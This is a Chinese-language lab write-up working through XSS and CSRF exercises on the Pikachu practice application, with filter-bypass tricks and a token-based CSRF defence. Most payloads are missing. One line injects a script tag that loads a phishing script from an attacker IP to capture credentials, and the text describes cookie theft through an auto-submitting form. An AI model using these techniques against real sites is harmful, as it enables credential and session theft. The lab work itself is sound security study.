pikachu xss 和 csrf

 

反射性xss(get)

输入“ '"<>123456 ” 用于测试我们的输入会不会被过滤掉,因为有特殊字符 查看页面源码 输入被输出到了 p 标签中

 

 测试输入的JS代码payload如下

 

 

 

前端对输入长度做了限制,修改一下成为2333333    才能输入完整的payload

 

 

 

成功执行 查看源码,输入的payload嵌入了到了 p 标签里面

 

 

反射性xss(post)

用户名密码 admin 123456  进入界面

 

 

 

 不能输入标签中

 

POST的方式提交的,参数内容不会出现在URL中,通过burpsuite

 

 账号admin/123456
登上去以后发现还是没有任何过滤,直接构造payload:

 

 

 

 

 

 

 

 

 

 经查询发现是用sha1 解密 得出密码为123456

 XSS钓鱼

xss攻击原理

 

 

 

 

尝试登陆,默认admin/123456

 

 

接下来修改post.html,诱使被攻击者点击链接,访问该页面,进而触发自动提交表单,获取其cookie。

诱使被攻击者点击链接http://127.0.0.1/pikachu/pkxss/xcookie/post.html
当被攻击者点击之后,其cookie等信息自动提交到接受服务器

 

 

 

 XSS案例:钓鱼攻击

修改pikachu里的\htdocs\pikachu\pkxss\xfish\fish.php

 

 我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时
这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部 这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
使用上面的存储型xss
在留言上添加<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>

 

 

 

 

 

 后台查看 

 

 

 

 攻击成功

存储型XSS

 

 

存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害

进行特殊字符的测试

 

发现没有过滤 下面通过源码观察,也直接输出在 p 标签中,看起来没有经过任何转义和处理 下面输入下面的Payload进行测试测试输入的JS代码payload如下

 

 

 

成功弹窗

 

 

 

 

DOM型XSS

 随意输入字符123

 

 输入的语句全部嵌在a标签内了

 创造一个闭合,将a标签闭合掉,并且写入一个语句。

构造payload

 

 

 

  成功弹窗

 

 

 

 

 

DOM型XSS-X

 

 

 输入是从浏览器的URL中获取的,和反射型XSS(get)类似

构造payload

 

 

 

构造payload

 成功弹窗

 

 

 

 

XSS盲打

提交后内容不再前端输出 而是输入到了后台。

提交以下内容

 

 登录后台管理界面  http:///pikachu/vul/xss/xssblind/admin_login.php  

 

 一进来就发现弹窗

 

 

 xss 过滤

开发者会做出很多防御措施,但是还是有很多绕过的方式。比如大小写,双写(拼凑)注释干扰,

大小写混合的方式看看能否绕过

 

 

 

 

 

 成功弹窗,后端只对小写的script进行过滤

 

 

 将alert('xss')进行HTML编码 成功弹窗

 

 

 XSS htmlspecialchars

 

 

 

 

 

 

发现单引号没有经过编码

输入特殊字符进行测试

添加一个单引号用于闭合 href 中的单引号

 

 

 

 

 

 

 

 

XSS href输出

 输入一个进行测试 提交后查看源码,输入在 a 标签的 href属性中

 

 

 

 

 

 

 

 

 

点击出现弹窗

 

 

 

 

 

 

 

 

XSSjs输出

随便输入进行测试

 

 

 

测试输入查看页面源码 插入js 测试代码

构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script> 构建payload

 

 

 

js代码执行 成功弹出弹窗

 

CSRF(get)

  根据提示输入账号密码 lucy 和123456

    

 

 

 把住址改成123 进行burpsuite抓包

 

 

 

通过get提交 参数在url'中得到 将burpsuite中的url复制下来

 

 

 通过url 将住址改造成guangzhou

 

将尝试点击链接

 

 

该住址改为广州 攻击成功

 

 CSRF(post)

登陆 将guangzhou改为shanghai 用burpsuite抓包查看

通过post提交 url中没有相关的参数

 

 这时攻击者可以搭建站点并在站点上放一个表单,诱导用户点击 然后像服务器发动post请求 修改个人信息

 

 

 将其放在pikachu下 然后发送攻击链接  

 

 

成功将住址改成hacker

csrf token

将住址改成123进行抓包

 

 

 发现多了一串token随机码

查看后台代码 发现每个都会刷新一个新的token随机数 并在后台进行验证

 

 

 

每次在修改后都会跳转到token_get_edit.php页面 并且进行隐藏。 无法伪造URL了

posted @ 2019-12-15 17:03  201721210007  阅读(500)  评论(0)    收藏  举报